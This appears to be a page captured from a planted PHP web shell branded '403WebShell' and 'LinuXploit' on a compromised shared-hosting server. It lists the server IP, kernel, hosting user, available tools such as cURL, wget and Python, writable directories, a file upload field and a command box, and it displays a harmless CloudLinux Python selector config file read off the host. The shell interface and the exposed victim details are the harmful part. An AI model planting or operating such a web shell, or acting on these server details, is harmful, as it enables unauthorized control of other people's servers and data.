Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.103.33
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectpython/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectpython/config.py
# coding: utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os

from clselect.baseclselect import DISABLED_STATUS, ENABLED_STATUS
from clselect.baseclselect.config import BaseSelectorConfig
from . import (
    CONFIG_DIR,
    create_config_dirs,
    ALT_PYTHON_PREFIX
)
from clconfig.ui_config_lib import get_ui_config


class PythonConfig(BaseSelectorConfig):
    """
    It's responsible for all interaction with CL Python selector config file
    and computing some effective values when config is absent or incomplete
    """

    _config_file = os.path.join(CONFIG_DIR, 'selector.json')

    def __init__(self, pkg_manager):
        """
        :param pkg_manager: instance of PkgManager class
        """
        super(PythonConfig, self).__init__(pkg_manager)

        self.reload()
        self.set_initial_selector_status()

    def _create_config_dirs(self):
        return create_config_dirs()

    @property
    def available_versions(self):
        """
        Returns a dict with status of all installed alt-python versions
        :rtype: dict
        """
        disabled = self.Cfg.disabled_versions or []
        return {
            ver: {
                'status': DISABLED_STATUS if ver in disabled else ENABLED_STATUS,
                'base_dir': ALT_PYTHON_PREFIX + ''.join(ver.split('.')[:2]),
            }
            for ver in self.pkg.installed_versions
        }

    def set_initial_selector_status(self):
        """
        Sets python selector flag selector_enabled from old selector flag hidePythonApp
        if it is still not set
        """
        if self.Cfg.selector_enabled is not None:
            return

        try:
            old_config = get_ui_config()
            # hidePythonApp:True = disabled selector
            old_selector_status = not old_config['uiSettings']['hidePythonApp']
        except KeyError:
            return
        self.Cfg.selector_enabled = old_selector_status
        self.save()

Youez - 2016 - github.com/yon3zu
LinuXploit